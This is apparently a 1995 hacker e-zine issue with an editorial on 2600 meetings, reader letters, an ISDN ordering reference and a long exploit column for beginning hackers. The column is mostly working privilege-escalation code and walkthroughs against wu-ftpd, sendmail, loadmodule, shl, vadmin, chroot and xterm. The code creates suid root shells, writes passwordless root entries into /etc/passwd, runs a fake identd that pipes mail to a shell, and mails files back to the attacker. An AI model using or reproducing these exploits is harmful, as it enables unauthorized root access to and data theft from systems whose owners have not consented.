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			      Taking Your Machine



				  Presents


-+-+-=====================================================================-+-+-

	     ______________________    ______________    _______________
	   /                       / /               / /               /|
	 /                       / /               / /               /  |
       /______________________ / /______________ / /______________ /    |
      |                       | |               | |               |     |
      |                       | |               | |               |    /
      |                       | |        _______|/|               |  /
      |_______         _______|/|       |/_____ / |        _______|/____
	      |       |     |   |              |  |       |    /       /|
	      |       |     |   |              |  |       |  /       /  |
	      |       |     |   |        ______|/ |       |/______ /    |
	      |       |     |   |       |     |   |               |     |
	      |       |     |   |       |     |   |               |     |
	      |       |    /    |       |    /    |               |    /
	      |       |  /      |       |  /      |               |  /
	      |_______|/        |_______|/        |_______________|/
 
			     [ Time For a Change ]
 

                               Issue 3  11/10/95
-----------------------------_______________________-------------------------


			       INTRODUCTION 
			       ____________ 

Well, we are a bit later than we had expected. I had hoped to get issue
3 out the door by the end of april, and here it is, October. Wierd how easy
it is to get off track like that. Anyway, this issue should be considered
to be worth waiting for. (at least I think it is).

This issue we have the second installment of UNIX problems, with a variety
of different exploits, Terminal visits US West and brings us the ultimate
acronym list, and Random explains some ISDN switching items.


As always, send submissions, ideas, questions, complaints and such things to:


bf130@freenet.hsc.colorado.edu


Or on any semi-decent 303 board.


And extra special thanks go to all of you who wrote us with your compliments.
It is because of your praise that this issue exists.
-----------------------------_______________________-------------------------

				    [ INDEX ]

Editorial: 2600 Meetings............................By: Ghost in the Machine

1. Letters from people..............................By: Ghost in the Machine

2. UNIX problems, for fun and exploit Vol.2.........By: Ghost in the Machine

3. ISDN Single Line Service.........................By: Random

4. US West Acronym List.............................By: Terminal & US West

 
-----------------------------------------------------------------------------
TYM -                          [ A TYM PRODUCTION ]                     - TYM
-----------------------------------------------------------------------------



	      Editorial: 2600 Meetings - Ghost in the Machine
	      -----------------------------------------------

  We in 303 have had a bit of difficulty with our 2600 meetings.  I started
the Denver 2600 in October 1994 after living here for 1 month and being totally
bored. It was a democratic setup, all of the people involved with setting up
said meeting voted and revoted on such things as locale/time/place/etc... We
decided that to have the meeting at 2pm on the first SATURDAY of the month
was the best for all. This has come to the test and passed with flying colors.
There are perhaps one or 2 people who Saturday is difficult for, and given that
we have a turnout averaging between 18-25 people each month, that is a small
minority. The meetings recently got to the point where they were beyond our
advertising, and people knew when to be there, where to go, etc... and we had
large turnouts despite the lack of advertising in recent months. We thought it
would be a good idea to become "official" and have Emmanuel print the meeting
in 2600, and then let it coast.
  
  Emmanuel's response was to ignore us completely, AND publish some "guide-
lines" in his magazine. The guidelines included such things as the fact that
one CANNOT HAVE a 2600 meeting on Saturday at 2 or any time/date other than
Friday at approx 5pm. 
  
  The only kind of people who can make a meeting at 5pm on a friday are school
kids and/or jobless people. When I lived in Chicago it was nearly impossible
to get to the north side for the meetings by 5pm unless I left at 2. It was
generally grumbled about, but no one ever did anything about it. Here, we did
something about it from the start, and have recieved nothing but friction
from the person who we least expected friction from.
  
  More recently, Terminal spoke with Emmanuel on IRC at some length about this
situation, and was informed that a turnout of 20-25 people was not sufficient
to even warrant a meeting, let alone a SATURDAY meeting. In addition, Random
(who is involved in the Sacramento, CA meets) was moving to change the date
and time of his meeting, and Emmanuel told Terminal that the Sacramento meeting
was dissolved. Not in reality, but in Emmanuel's mind.
  
  These things cannot be totally ignored. Emmanuel thinks that he owns the
name 2600 and that he can do as he pleases with our meetings, regardless of
our own feelings on the matter. *MOST* 2600 meetings have approximately the
same turnout as ours do. I know Chicago did, and that is a metro area of over
9 million people. Denver has 2 million and our meetings are still growing.
Therefore, your meetings are just as insignifigant to him as ours is, and if
you take even the slightest bit of initiative, he will attempt to crush it.
  
  As always, I think that it is Time for a Change, and I suggest that if you
attend some local 2600 meeting, take a vote, see if Saturday (or *ANY* day)
is better, vote among the people that are there, or that come often, and
decide for YOURSELVES when your meeting should be. Also, look at the latest
release of 2600. Then look at the last 4 years (someone in your NPA probably
has a lot of back issues if you don't). 2600 magazine is a piece of complete
trash now. Emmanuel will print anything, and it has ruined an otherwise decent
idea. STOP BUYING IT!
  
  This is merely a suggestion, but if you look at the big picture
here, you will see a disturbing trend on the part of 2600 magazine and
it's editor.

		Ghost in the Machine




------------------------------------------------------------------------------





Letters, we get letters...
--------------------------



> From: Adam Lenic <adam@mathcs11.haifa.ac.il>
>
> Hi,
> I have got #1 and #2 issues of "Time for a change". I find it very 
> interesting and useful (whatever it means by this :-) ). Could you tell 
> me where and when I could find next issues online?
> Adam

Well Adam, at this time the main place to get TFC on the net is:

ftp.netcom.com/pub/da/daemon9/Phile/TFC

If anyone has an ftp site that wishes to carry ftp, or a BBS for that matter,
please mail me somewhere and we'll work out the details, and you'll get a
free plug in the next issue. <grin>

gitm

----------

> From: misha@zeppelin.convex.com (Michael Umansky)
> 
> Can you suggest a source of any kind of technical info on cellular stuff?
> thanks
> misha

The best place I've found is Dr. Who's Radio Telephony Archive which is located
at:

http://www.l0pht.com/~drwho/

It has just about everything you could possibly want.


gitm

----------

> From t3qg@jupiter.sun.csd.unb.ca  Fri May 12 16:41:39 1995
>
> Man, I LOVED your article on hacking unix systems!  It ruled!
> 
> I was wondering if you could tell me where I could get some more recent bugs,
> or perhaps you could send me an updated version of ur phile. (Yes, I get
> all the 8lgm's and read comp.security.unix).
> 
> Anyway, just wanted to say how much I loved ur shit. l8r
> 
> -GReP

Well, the best place to get recent bugs is to talk to other people or find
them for yourself.

Finding them for yourself is easy if you have a lot of spare time and/or
the source code for the operating system in question.

Getting them from other hackers is hard if you haven't been around for 50
years, married thier sister, and given them 20 pints of blood. Even then it 
is no elementary task.

Failing that, subscribe to the bugtraq mailing list:

bugtraq-request@fc.net

put something as a subject, and then in the body of the letter put:

SUBSCRIBE bugtraq <Your email address>

You should get a welcome message shortly, and then you will recieve all the
mail sent to that list. Bugtraq has been pretty tame of late, and I haven't
been subscribed to it for several months, but it is certainly better than
nothing.

gitm

-----------------------------------------------------------------------------

                              Time for a Change

				  presents

		 UNIX problems, for fun and exploit. Volume 2.

		 (or how to get root in less than 5 minutes.)

				     by

			     Ghost in the Machine
------------------------------------------------------------------------------

Here it is. As you may have seen in the first issue, this was to be a 4 part
series. Actually, I would like to retract that statement. It may be 2 parts,
it may be 7. It really depends a lot on what kind of feedback I recieve from
readers. The only reason I am adding a second installment is the incredible
amount of requests I've recieved on the subject.

Again, this is not intended as an article for advanced hackers. Instead it
is an introductory type article aimed toward the beginning to intermediate
hacker. As I have become more and more painfully aware, it's no longer how
much you know (although that does help sometimes) it's what kind of tools you
have. Here are a few more for your toolbox.

For those of you who have been whining that these bugs are old, useless, 
and outdated, I have two words for you. Boo Hoo. This column is still the
only one I've seen in an h/p zine with complete bugs of any kind, not to
mention a detailed walkthrough, so until I see some more people putting out
articles like this, I'd advise the whiny types to shut up. (Side note: all
of these are still functional on a GREAT number of machines. Those who don't
know that, apparently don't hack.)

Since most of these bugs do not require walkthroughs, several of them will
simply be the exploit itself.

Basically, here is an example for the format of the file:

<Type of OS, or *NIX for all> (vers) - <Type of bug/hole> - <Comments (if any)>
:
<Exploit Example>
+++++
<Next listing>


------------------------------------------------------------------------------

Linux (all slackware) - wu-ftpd  - suid(0) shell - The version of wu-ftpd 
distributed with (all present versions of) slackware is vulnerable to the 
old "quote site exec bash -c" bug.
:

% telnet loozer.com
Trying 255.255.255.255...
Connected to loozer.com
Escape character is '^]'.


Linux 1.2.8

login: haxor
Password: 

% cat > ftpbug.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}
^D
% cc -o ftpbug ftpbug.c
% logout
Connection closed by foreign host.

% ftp loozer.com
220 loozer.com FTP server (Version wu-2.4(1) Sat Oct 14 22:37:16 MDT 1995) ready. 
Name (lozer.com:haxor): haxor
331 Password required for haxor.
Password:
230 User haxor logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
200-bash -c /home/haxor/ftpbug
200  (end of 'bash -c /home/haxor/ftpbug')
ftp> quit
221 Goodbye.
% telnet loozer.com
Trying 255.255.255.255...
Connected to loozer.com
Escape character is '^]'.


Linux 1.2.8

login: haxor
Password:

% /tmp/.sh
#

+++++

SunOS (5.2) - sendmail 8.6.4 - suid(0) shell - Exploit script without walk-
through.
:

----8<--------------------Cut Here----------------------------8<-------------
#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94  jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail
SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`

# program to execute as root
SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "Creating setid0 ..."
cat > setid.c << _EOF_

/* set uid to zero, thus escaping the annoying csh and solaris sh
 * problem..
 * 
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-hacker you.\n");
 *  exit(1);
 * }
 *
 * .. must be run euid 0, obviously.  with no args it runs /bin/sh, 
 * otherwise it runs the 1st arg.
 */

#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];
{
 int uid;

 setuid(0);
 setgid(0);
 seteuid(0);  /* probably redundant */
 setegid(0);

 uid = getuid();

 if (uid != 0) {
  printf("setuid(0); failed!  aborting..\n");
  exit(1);
 }

 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }
}
_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of 
 * sendmail.cf file location.
 * author: timothy newsham
 */
#include <fcntl.h>

gencore()
{
  int pid;
  int fd[2];

  if(pipe(fd) < 0) {
    perror("pipe");
    exit(1);
    return(0);
  }
  pid = fork();
  if(!pid) {
    int f = open("./out", O_RDWR|O_CREAT, 0666);
    dup2(f, 1); dup2(fd[0], 0);
    close(f); close(fd[1]); close(fd[0]);
    execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
    perror("exec");
    exit(0); 
  } else {
    sleep(2);
    kill(pid, 11);
  }
  close(fd[0]);
  close(fd[1]);  
}

main(argc,argv)
char **argv;
int argc;
{
  unsigned int ConfFile,tTdvect,off;
  
  gencore();
  sync();   /* grr. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile = find(argv[1], "core");
  if(!tTdvect || !ConfFile) { 
   return(1);
  } 
  off = ConfFile - tTdvect;

  printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10); 
}

int find(pattern, file)
char *pattern,*file;
{
  int fd;
  int i, addr;
  char c;

  fd = open(file, 0);

  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1) {
    if(pattern[i] == c)
      i++;
    else
      i=0;
    if(pattern[i] == '\0') {
      addr -= strlen(pattern);
      return(addr);
    }
    addr++;
  }
  return(0);
}
_EOF_
cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow

OA/$TEMPDIR/aliases                     # our fake alias file
Ou0                                     # user ID to run as
Og0                                     # group ID " " " 
DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole?  suid whoop?
.                                     
quit
_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."

$SENDMAIL $DEBUGFLAGS -bs < sendmail.script

# give it time to execute.
sleep 4

# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &

if [ -u setid0 ]
then
 echo "setid0 is a suid shell.  executing..."
 cd /
 $TEMPDIR/setid0 /bin/csh
 echo "end of script."
 exit 0
else
 echo "setid0 is not suid; script failed."
 echo "apparently, you don't have the bug.  celebrate :-)"
 exit 1
fi

----8<-------------------Cut Here-------------------------8<-----------------
+++++


UNIX (any) - Sendmail (8.6.9 or earlier) - mail any file to yourself - This
is a shell archive with both local and remote exploits. To unpack it, use
% sh <filename>
:

------8<-------------------Cut Here--------------------8<-------------------
# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#       description
#       sm869.local
#       sm869.remote
#
echo x - description
sed 's/^X//' >description << 'END-of-description'
X
XProgram: sm869.remote
X
Xyou can:
X
X   run the body of the mail through a shell if 
X   sendmail is allowed to run a shell.
X
X   write the whole message to a file.
X
X   have it send back a file to an account you specify.
X
XThe last option is supposed to remove the file after sending
Xit but I found that it hasn't in my tests.  Why?  Well
Xit has multiple recipients, one of the recipients is a
Xrecipient that will never go through.  So the data file
Xgets kept around until it gives up on that host.  This
Xcan be several days.
X
XProblems:
X
X  The action you specify will happen every 30minutes (the
X  queue time, may be different) until it gives up sending
X  to the unreachable host.  (Actually this may be false.
X  I haven't left it around long enough to see if this happens.
X  Perhaps sendmail is smart enough to remove the other recipients
X  that did get delievered from the queue file).
X
X  If you send a file back to yourself it may get removed
X  several days later.  If you get the password file or
X  some other critical file you had better be ready to clean
X  up.
X
X  Lots of logs.  Its fairly obvious from the log files that
X  some hokey pokey is going on.  If you're sending a file
X  back to yourself then you're pointing a finger at one
X  of your accounts
X
XYou have to go into the program to change the options you
Xwant.  The code is fairly well commented so this shouldn't
Xbe any problem.
X
XProgram: sm869.local
X
XSame thing as above really except it works even if sendmail
Xdoesnt check identd and you dont have to specify an unreachable
Xhost.  The file goes straight to the queue.
X
END-of-description
echo x - sm869.local
sed 's/^X//' >sm869.local << 'END-of-sm869.local'
X#!/bin/sh
X#
X# Exploit hole in sendmail 8.6.9 and earlier.
X#
X
X# Either write a file or run a program.
X#ACTION="|/tmp/runme"
XACTION="/tmp/writeme"
X
X# Data file to read from and then remove
XDATAFILE="/tmp/abc"
X#DATAFILE=""
X
X# Who to run as
XRUNAS="bin"
X
X# Who to send mail to
XWHOAMI=`whoami`
XSENDTO=$WHOAMI
X#SENDTO="someone-else"
X
X# Build up arg and send it off
Xif [ -n "$DATAFILE" ] ; then
XARG="$WHOAMI
XD$DATAFILE
XC:$RUNAS
XR\"$ACTION\""
Xelse
XARG="$WHOAMI
XC:$RUNAS
XR\"$ACTION\""
Xfi
Xsendmail -odq -F"$ARG" $SENDTO << _END_
XThis is appearing in the mailbox
Xand also being piped to the program or
Xwritten to the file, UNLESS you specify
Xa datafile above.  In that case the datafile
Xwill be written and erased and this text will
Xbe left (not deleted) in the queue directory.
X_END_
X
END-of-sm869.local
echo x - sm869.remote
sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
X#!/bin/sh
X#
X# exploit for sm869 or worse
X# identd must not be enabled (port 113 must be free)
X
X# this must be a host that mail can go to (MX not pointing elsewhere)
X# that we cant reach right now (ie. host doesnt exist anymore)
XUNREACHABLE="goofy.uhcc.hawaii.edu"
X
X# Commands to run on remote host
XCOMMANDS="touch /tmp/gotcha"
X
X# what host to run it on
XTARGET="localhost"
X
X# work in a temp dir
XTD=/tmp/.Xwork.$
Xmkdir $TD
Xcd $TD
X
Xcat > a.c <<_END_
X#include <sys/types.h>
X#include <sys/socket.h>
X#include <netinet/in.h>
X
X/* run body of mail through shell run as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "
X
X#ifdef other_possibilities
X/* write to a file as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
X/* send back a file to someone and erase it */
X#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
X#endif
X
Xreadline(fd, buf, len)
Xchar *buf;
X{
X    int i = 0;
X
X    while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
X       if(buf[i] == '\r' || buf[i] == '\n')
X           break;
X       i++;
X    }
X    buf[i] = '\0';
X}
X
Xdie(str)
Xchar *str;
X{
X    perror(str); exit(1);
X}
X
Xmain()
X{
X    int s, s2, adlen;
X    struct sockaddr_in ad;
X    char buf[60];
X
X    ad.sin_family = AF_INET;
X    ad.sin_port = htons(113);
X    ad.sin_addr.s_addr = INADDR_ANY;
X    if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
X    if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
X    if(listen(s, 1) == -1) die("listen");
X    adlen = sizeof(ad);
X    s2 = accept(s, (struct sockaddr *)&ad, &adlen);
X    if(s2 == -1) die("accept");
X    printf("Connection from %s port %d\n", 
X        inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
X    readline(s2, buf, 50);
X    sprintf(buf + strlen(buf), " : %s\n", REPLY);
X    write(s2, buf, strlen(buf));
X}
X_END_
X
X# compile program
Xecho "compiling"
Xcc a.c -o ident
Xecho "running fake ident"
X./ident &
X
X# send to reomte
Xecho "talking to remote"
X(
X  sleep 1; echo "helo"
X  sleep 1; echo "mail from: <dan>"
X  sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
X  sleep 1; echo "data"
X  echo "$COMMANDS"
X  echo "."
X  sleep 1; echo "quit"
X  sleep 5
X) | telnet $TARGET 25
X
X# cleanup
Xcd /
Xrm -rf $TD
Xecho "done."
X
END-of-sm869.remote
exit

--------8<----------------Cut Here-----------------------8<-----------------

SunOS (4.1.X) - loadmodule - IFS bug/suid(0) shell - This is a nice, simple,
(need I say, old?) bug.
:

cat > ~/bin/bin
#!/bin/sh
sh -i
^D
% chmod 755 ~/bin/bin
% setenv IFS /
% /usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /usr/openwin/modules/evqload
#

+++++

Unixware (?) - shl - suid(0) shell - Another small quick root exploit.
:

$ PATH=.:$PATH ; export PATH
$ cat > shell
#!/bin/sh
cp /bin/sh /tmp/.sh
chown root.root /tmp/.sh
chmod 6777 /tmp/.sh
^D
$ chmod 700 shell
$ SHELL=shell ; export SHELL
$ shl
>>> create ladadedah
^D
>>> quit
$ /tmp/.sh
#

+++++

Linux (sw 2.0.1 and earlier), IRIX (?) - vadmin - suid(0) shell
:

% cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
% chmod 755 /tmp/ls
% cd /tmp
% set PATH=( . $PATH )
% /usr/lib/vadmin/serial_ports
(this will take a while)
% /tmp/foo
#

+++++

Ultrix (?) - chroot - suid(0) shell
:

% cd $HOME
% mkdir root
% cd root
% mkdir bin etc usr
% cd bin
% cp /bin/sh sh
% cp /bin/su su
% cp /bin/chmod chmod
% cp /bin/chown chown
% cd ../etc
% cp /etc/passwd.orig passwd
% cp /etc/group group
% vi passwd {modify root password to root::0:0, etc}
% cd ..
% chroot $HOME/root /bin/sh
% su
# chown root /bin/sh
# chmod 2755 /bin/sh
# chmod ugo+s /bin/sh
# exit
% exit
{now you're back in the original process}
% $HOME/root/bin/sh
# 

+++++

SunOS (?) - xterm logging bug - suid(0) shell
:

% mkdir foo
% ln -s /etc/passwd foo/xl
% chmod 200 foo
% ln -s /bin/sh /tmp/ss^M   <- This is a real CR
% xterm -l -lf foo/xl -e echo "r00t::0:1::/:/tmp/ss"
% rlogin localhost -l r00t
#

+++++

SunOS (?) - xterm - suid(0) shell
:

% cat >! /tmp/fofo
newroot::0:0:The New Superuser on the block:/:/bin/csh
^D
% xterm -l -lf /etc/passwd -e cat /tmp/fofo
% su newroot
#

+++++

That should about do it for now. Thanks be to Pluvius, bloot, and
any others who were responsible for discovering (and/or writing exploits for)
these bugs.


=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

                             Time for a Change

                                 presents

                         ISDN Single Line Service

                            by:  Random [TYM]

-------------------------------------------------------------------------------
 This document cannot be issued upon request.   !!! TOP SECRET Motha fucka !!!
-------------------------------------------------------------------------------

Single Line Service is a digital service that provides integrated voice/data
over a 2-wire customer facility, utilizing N1-2 technology and the public 
switched network. The service offering distributes voice and/or data over a
Basic Rate ISDN interface of 2B+1D channels.



The Interface and Loop combination equals the Basic Rate Service (BRS). The
interface and loop provisions for the facility from the customer's premises
to the Central office/switch. The provisioning USOC is listed below.

        N2Q - (U Interface) 2-wire interface on non-loaded loop, with 
        distant limitations with 2B1Q Line Coding. This the DSL (Digital
        Subscriber Line) which may be reffered to as either a DSL, pipe
        or loop.



The Customer can have up to six call appearances per terminal. At least one
call appearance must be a Primary Directory Number (PDN). The first or main
Directory number on a terminal is referred to as a "Primary Directory Number
(PDN)." It is always assigned as Call Appearance button 1.

Each terminal is assigned one PDN. As part of the Standard Packages for
Single Line Service ISDN Service, a customer can have up to two terminals
(each with a PDN) per DSL. Other call appearances can be any combination of:

        * Analog Call Appearance
        * One Primary Directory Number and Additional Appearances of PDN
          (maximum five call appearances)
        * One Secondary Directory Number (SDN) with (maximum of four call
          appearances)
        * Shared Directory Number (maximum two)

Additional call appearances are available at rates and charges specified in
Optional Features and Functions.



        BMEHB - (voice and data 2B+d)



Single Line Service uses logical terminals (Smart Telephones) that are
manufactured to specifically work with NI-2 Technology. These terminals
include buttons for lines (call appearances) and features.

One of the following USOC's would appear on the Single Line Service order
for the services working off of the DSL.

        LNM1X - Single Line Service provisioning USOC. (Voice and Data
                [handle like LTQ1X])

        LTH4X - Provisioning USOC for the Voice and Data package. D-Channel
                Packet USOC for flat rate. (Handle like LTQ4X)        
                


        MO6 - First time the number appears, but is not Primary Directory
              Number (PDN)



        DO8 - Shared Call Appearance of a Primary Number (LNM1X).

        MAZ - Analog termination on an ISDN station.

The following is a complete list of USOC's and FID's used with Single Line 
Service. This list includes USOC's and FID's associated with the Custom 
Calling Features (CCF), billing USOC's and line assignable USOC's.

FID's: The FID's associated with Single Line Services are Listed Below.

This list is not intended to be an all inclusive list; however, it includes
the FID's the LPC should be aware of.

        BS - Bearer Service defines the channel capabilities. This FID 
        describes what each B and D channel is capable of for 2B+D.

        Elements:

                        B Channels
                       ------------
        DMD = On Demand Service, for Circuit Switched Voice and Data.

                        D Channels
                       ------------
        D channel possible entries:
        SX = X.25 Packet Switching and/or Q.931 Signaling.

        The Single Line Service will be:
                /BS DMD DMD SX (2B+D)

 NOTE: The SWITCH system interputs the FID BS to assign the B and D channel
        POE(s).

CAPP  - Call Appearance - CAPP indicates a call designation on a multiple 
        appearance terminal for primary and secondary line numbers, or
        Multiline Hunt Group terminal numbers served by a 5ESS. The CAPP FID
        is required on 5ESS orders.

        CAPP indicates the button numbers the line terminates on, the number
        of appearances on the terminal, if the manual exclusion is required,
        and the ringing pattern.
        The button number of the first appearance is indicated after CA.
        The number of appearances on the same terminal is indicated after
        NBR.
        
        CA and NBR are attributes the LPC is concerned with.

                USOC/CAPP CA.1, NBR.3,

        The CA indicates the key appearance on the ISDN set and NBR 
        indicates the number of times it appears on the set, which is 
        3 times. The First three keys on the ISDN set has the same TN
        (Telephone Number) The TN appears on key 1, 2, and 3.

        Call appearances for the voice and data packages (e.g. LNM1X/LTH1X,
        LNM5X, LTH5X) USOC's are maintained and processed in the SWITCH
        system. The FID CAPP which follows the USOC's indicates the key
        appearances. The Key appearance is indicated in SWITCH as KPI (Key
        Position Indicator). The SVCID when the CAPP is present behind
        these USOC's equals the NPA+PN+KPI.

CLS   - Common Language Circuit Indentification (CLCI). Voice and Circuit
        Switched Data and Packet.

        The ISDN pipe is not dependent on a telephone number. A serial
        number common language is used for indentification.

                Data is: Service Code IB and Modifier is SA.
                Example: 29.IBSA.444678..MS

        Each packet device has its own CLS (not the same as the CLS of the
        pipe).

                Data is: Service Code QS and Modifier is ZA.
                Example: 29.QSZA.444678..MS

CSO   - Circuit Switched Channel Options - identifies which channels support
        circuit switched voice or data.

        Data is: CSV.X (Circuit Switched Voice) where X is 0-2 indicating:
        
                0 = Voice not supported
                1 = Voice on B channel

        CSVC.XXX (Circuit Switched Voice Channel) where XXX is:

                ANY = Either Channel
                NO  = None

        CSD.X (Circuit Switched Data) where X is 0-2 indicating:

                0 = Data not supported
                1 = Data on 1 B Channel
                2 = Data on both B Channels

        CSDC.XXX (Circuit Switched Data Channel)

                ANY = Either Channel
                NO  = None

        Example: LNM1X 2B+D
                 /CSO CSV.1, CSVC.ANY, CSD.2, CSDC.ANY

This is only an example if voice and data are requested, a common use of the
2B+D is for data only.

        Example: LNM1X (2B+D)
                 /CSO CSV.0, CSVC.NO, CSD.2, CSDC.ANY

The data values of MP and PP are only applicable for Custom ISDN.

DCLS  - Digital Subscriber Line (DSL) Class of Service - Single Line
        Service NI-2 supports a standard DSL which can support from one up
        to 8 actual devices on a DSL.

                Data is: STD

        Single Line Service is always:

                Example: /DES DCLS STD

        The FID DCLS will be used following the FID DES until the systems
        can handle the STD Data. This method will be updated when it is no
        longer necessary to use the DES.

DSNA  - Digital Services Network Assignment - DSNA is the common language 
        of the DSL associated with this service. It is used to identify on
        which DSL various services work. The SWITCH system read reads this
        FID to associate the services to the pipe.

        The DSNA is the same as the CLS on the DSL.

        DSNA should appear on all USOC's, except for N2Q and the Optional
        feature USOC's.

                Example: DSNA 20.IBSA.002268..MS

DTN   - Data Terminal Number. DTN is used to denote the data terminal
        number for dialing. DTN follows the USOC's LNM4X. (Could be the
        same number as the PDN, depending on the CPE requirement.)

MADN  - Multiple Appearance of a Telephone Number - MADN is used to denote
        whether a shared number is the primary appearance or a subsequent
        appearance. The FID MADN P is always used on a LNM1X that appears
        on another terminal (it would be a DO8 on the other terminal).

MAXB  - Maximum B Channel Packet Users - indicates the maximum number of
        B packet users that will be on the DSL. A customer can have up to
        eight terminals on one DSL.

MDPK  - Maximum D Channel Packet Users - indicates the maximum number of         
        D packet users that will be on the DSL. A customer should specify
        the exact number of devices and not the MAX of 8 if this is not
        true.

            Data is: 0-8  (number of devices)

            Example: /MDPK 2  (2B+D entry)
                     /MDPK 0  (2B+S entry)

MTER  - Maximum Number of Terminals - indicates the maximum number of
        terminals on a DSL. This includes both the circuit and packet
        switched devices. A customer should specify the exact number of
        devices and not use the MAX of 8 if this is not true.

            Data is: 0-8  (number of devices)

            Example: /MTER 2

PN    - Primary Number - PN is the first Directory/Telephone number assigned
        to a terminal.

SPID  - Service Profile Identifier - The SPID ties together the multiple
        funtions a terminal is capable of providing. The SPID is the
        primary number of each terminal on a DSL (both circuit & packet
        terminals). If the customer's Terminal Type A is being used for
        circuit switched data simultaneously on both B channels, ask if
        two SPID's are required. If two SPID's are required two LNM1X/LTH1X
        USOC's will be needed each with a new PDN.

        With NI-2 the customer and/or the technicians, whomever is programing
        the customer's SPID, must put in at least twelve digits.
        RCMAC is only required to put in 10.

        The recommended standard SPID format is:

        For terminal type A or C.
        XY-XXX-XXXX-0-XX

        Where XY:

                    X = 0  (SPID is TN format)
                    Y = 1  (Circuit Switched)
                    Y = 2  (Packet Switched)

        Where XXX-XXXX:

                    XXX = Telephone number prefix
                    XXXX = Line Number Format

        Where 0:

                    0 = numeric 0's are used as the Network Address Type for
                    NI-2.

        Where XX:

                    XX = 2 Digit Sharing Terminal ID. Terminal Type C.
                    Data is 00-62 this number can be assigned by the
                    customer if they choose or by the originator.

        Where XX:

                    XX = 2 Digit Non-sharing Terminal ID. Terminal Type A.
                    Data is 00-62 this number can be assigned by the
                    customer if they choose or by the originator.

        If a device is capable of more than one function, the SPID that is
        used depends on the hierarchy. For example, let's say a device is
        capable of circuit switched voice and data, and packet. Because it
        is one device, the SPID would be the same for both devices and the
        circuit switched SPID would be used because it is higher in the
        hierarchy than packet switched.

                    For a Terminal Type C. Example:

                    /SPID 01-345-3456-0-01  (Circuit-Switch TN format)
                    /SPID 03-345-8765-0-01  (D Packet-Switch TN format),
                    if no circuit switched voice or data is requested.
                    /SPID 01-345-3456-0-01  (Circuit Switch TN and packet)

                    For a Terminal Type A. Example:

                    /SPID 01-345-3456-0-00  (Circuit-Switch TN format)
                    /SPID 03-345-8765-0-00  (D Packet-Switch TN format),
                    if no circuit switched voice or data is requested.
                    /SPID 01-345-3456-0-00  (Circuit Switched TN and packet)

            If a customer requires all 20 digits, depending on their CPE, the
            following format examples are used.

                    /SPID 013453456012345678-62  (Terminal Type A)
                    /SPID 013453456012345678-00  (Terminal Type C)

            The customer will provide the information after the telephone number
            and before the dash.


RMA TYPE:   C001-420: Order held in manual assistance file. Successful
            transaction requires COSMOS manual input.  The Single Line
            Service order will flow through LFACS and SWITCH.  The RMA
            notice is for COSMOS only.

MANUAL TRIGGER REASON:

0420:   Order Level Manual Assistance
        RMA Reason is USOC N2Q
        RMA Reason is USOC LNM1X

        The service order could fall out at LFACS for no loop available pairs.
        If the order falls out at LFACS for no loop qualified pairs, the PLA
        must refer this to the Facility Specialist for loop qualified pairs.

